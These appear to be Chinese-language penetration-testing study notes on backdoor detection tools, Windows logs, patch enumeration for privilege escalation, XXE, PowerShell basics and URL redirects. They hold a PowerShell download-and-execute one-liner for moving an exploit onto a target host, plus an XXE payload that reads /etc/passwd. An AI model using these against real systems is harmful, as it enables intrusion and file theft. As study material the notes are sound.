常用工具

后门检测工具

• chkrootkit
• rkhunter

系统急救恢复、后门分析取证

• LiveCD

简介

• 闲聊 Windows 系统日志

早期版本中 Windows 日志只有，应用程序，安全，系统和 Setup，新的版本中增加了设置及转发事件日志（默认禁用）。

系统内置的三个核心日志文件（System，Security 和 Application）默认大小均为 20480KB（20MB），记录事件数据超过 20MB 时，默认系统将优先覆盖过期的日志记录。其它应用程序及服务日志默认最大为 1024KB，超过最大限制也优先覆盖过期的日志记录。

登录成功不代表一定是 rdp 登录，所有事件的登录类型都是 4624

系统内核溢出漏洞

手动执行发现缺失补丁

• 当获取到目标机器的 shell 以后，可以通过如下命令来看系统安装了哪些补丁，还具有哪些漏洞

1
2
3
4

whoami /groups //根据下面的Mandatory Label\Medium Mandatory Level 来看自己是一个什么权限

systeminfo //查看当前系统安装了哪些补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn //查看当前系统安装了哪些补丁

• 使用上传或者[[powershell]]的下载功能来将 exp 放到目标机里边

1

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('192.168.1.1');执行的代码。。。"

XXE 漏洞

参考：

• https://xz.aliyun.com/t/3357

Payload

有回显的 XXE

1
2
3
4
5

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY resek4 SYSTEM "file:///etc/passwd">
]>
<login>&resek4;</login>

powshell 学习

0x00.基本

• cmd 的命令在 ps 里都能用
• 可以直接进行计算
• 可以属性调色
• 
• 可以用 tab 键补全命令
• 可以使用管道符(|)将上一个命令的输出放到下一个命令的输入里去
• 可以使用>（覆盖）,>>（追加） 的重定向符
• 动名词方式来使用命令，例如 get-process get-services
• 变量和 php 很类似又$开头

变量可以是命令
变量不需要提前声明

• 条件语句没分号
• 可以单双引号互相嵌套
• 转义不再是 \，而是 `

URL 跳转漏洞

0x00.参考文章

• https://www.cnblogs.com/linuxsec/articles/10926152.html

• https://ninjia.gitbook.io/secskill/web/url

0x01.概念

这类漏洞属于低危漏洞，但是如果有操作或许可以打组合拳

此类漏洞会出现在造成网页跳转的页面